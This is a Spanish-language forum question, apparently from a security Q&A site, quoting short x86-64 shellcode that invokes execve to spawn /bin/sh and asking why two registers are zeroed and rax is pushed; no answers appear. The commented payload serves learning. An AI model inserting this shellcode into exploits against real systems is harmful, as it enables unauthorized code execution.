Entendiendo las instrucciones de explotación execve ()

0

Hay una vulnerabilidad disponible que utiliza execve() syscall para generar un shell en solo 24 bytes. Sé que esto es un exploit que requiere una pila ejecutable, pero no estoy interesado en lo que realmente logra el exploit.

La mayoría de las instrucciones de la hazaña son bastante claras. He añadido algunos comentarios.

enlace

##########
# Source #
##########
section .text
  global _start
  _start:
    push rax           // Prolog
    xor rdx, rdx       // set rdx to 0x0
    xor rsi, rsi       // set rsi to 0x0
    mov rbx,'/bin//sh' // put "/bin//sh" in register rbx */
    push rbx           // push register rbx content onto stack
    push rsp           // push current rsp (stack pointer address) to stack
    pop rdi            // pop latest stack element's content into rdi by pointer rdi:=[rsp] -> "/bin//sh"
    mov al, 59         // prepare syscall execution: 59 refers to execve syscall*/
    syscall            // execute execve syscall: argument is in register rdi = "/bin//sh"
                       // execve("/bin//sh") executes, if successful shell spawned

Lo que no está claro para mí es el propósito de las instrucciones xor rdx, rdx y xor rsi, rsi . Sé que esto establece el contenido del registro en 0x0 . Pero, ¿por qué es necesario establecer rdx y rsi en 0x0 en primer lugar?

Además, ¿por qué es necesario guardar rax en la pila con la instrucción push rax ?

    
pregunta evildead 17.10.2018 - 22:33
fuente

0 respuestas

Lea otras preguntas en las etiquetas